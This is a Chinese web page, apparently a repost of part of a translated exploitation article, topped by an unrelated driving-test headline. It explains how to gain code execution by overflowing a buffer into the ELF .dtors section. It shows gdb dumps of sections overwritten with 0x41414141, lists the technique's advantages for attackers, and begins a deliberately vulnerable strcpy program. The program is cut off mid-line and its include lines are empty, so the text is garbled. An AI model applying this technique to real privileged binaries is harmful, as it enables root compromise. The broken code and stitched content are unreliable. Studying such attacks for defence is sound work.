b2科目四模拟试题多少题驾考考爆了怎么补救
b2科目四模拟试题多少题 驾考考爆了怎么补救

缓冲区溢出攻击_缓冲区溢出攻击定义_缓冲区溢出攻击的危害(4)

电脑杂谈  发布时间:2017-01-19 10:03:08  来源:网络整理

0x080494f0->0x080494f4 at 0x000004f0: .eh_frame ALLOC LOAD DATA HAS_CONTENTS

0x080494f4->0x080494fc at 0x000004f4: .ctors ALLOC LOAD DATA HAS_CONTENTS

0x080494fc->0x08049504 at 0x000004fc: .dtors ALLOC LOAD DATA HAS_CONTENTS

0x08049504->0x0804952c at 0x00000504: .got ALLOC LOAD DATA HAS_CONTENTS

现在让我们检查一下什么被覆盖了:

(gdb) x/x 0x080494f0

0x80494f0 : 0x41414141

这部分是.eh_frame(这一节被gcc用来为支持它们的语言存储异常处理函数指针)

的内容

(gdb) x/x 0x080494f4

0x80494f4 : 0x41414141

(gdb) x/8x 0x080494fc

0x80494fc : 0x414141410x080484680x080495000x40013ed0

0x804950c : 0x4000a9600x400fa530 0x08048336

0x400328cc

我们看到,我们甚至根本不用担心0xffffffff这个头标记被覆盖,只须将bleh()

的地址放在正确的位置就可以使我们的代码被执行了。我们也发现最后进程发生

了段错误,这显然是由于进程会不断搜索.dtors的结尾标记(0x00000000),在找

到之前将依次跳到我们所填充地址(0x8049500)后的每个地址去执行,由于结尾

标记被我们覆盖了,导致程序跳到了GOT表中去执行了,所以才会发生错误。

结论:

----------

这里展示了另外一种执行shellcode代码的方法。这种技术有以下的一些优点:

* 如果二进制目标文件攻击者是可读的,那么找到我们想写入的确切目

标地址是很容易的,只需要分析ELF映像确定.dtors的位置即可。这将大

大提高攻击的可靠性。

* 它比覆盖GOT表的技术更简单。

弱点:

* 要求目标程序必须被GNU工具编译和连接。

* 在某些情况下,知道程序退出也很难找到一个地方来存放shellcode

[译者注:这种方法实际上还有一个问题就是,由于析构函数是在main()函数退

出之后才执行的,因此,如果程序在发生溢出后,又执行了setuid(saveduid)这

样丢弃root权限的操作,攻击者将不能得到root(或者其他用户)权限。

我们将bleh.c稍做修改:

[warning3@redhat-6 dtor]$ cat bleh.c

#include

#include

#include

static void bleh(void);

void vulfun(char *ptr)

{

static u_char buf[] = "bleh";

strcpy(buf, ptr);

}

int

main(int argc, char *argv[])

{

int saved_uid = getuid();

if (argc >, Juan M. Bello Rivas


本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-27331-4.html

相关阅读
    发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

    热点图片
    拼命载入中...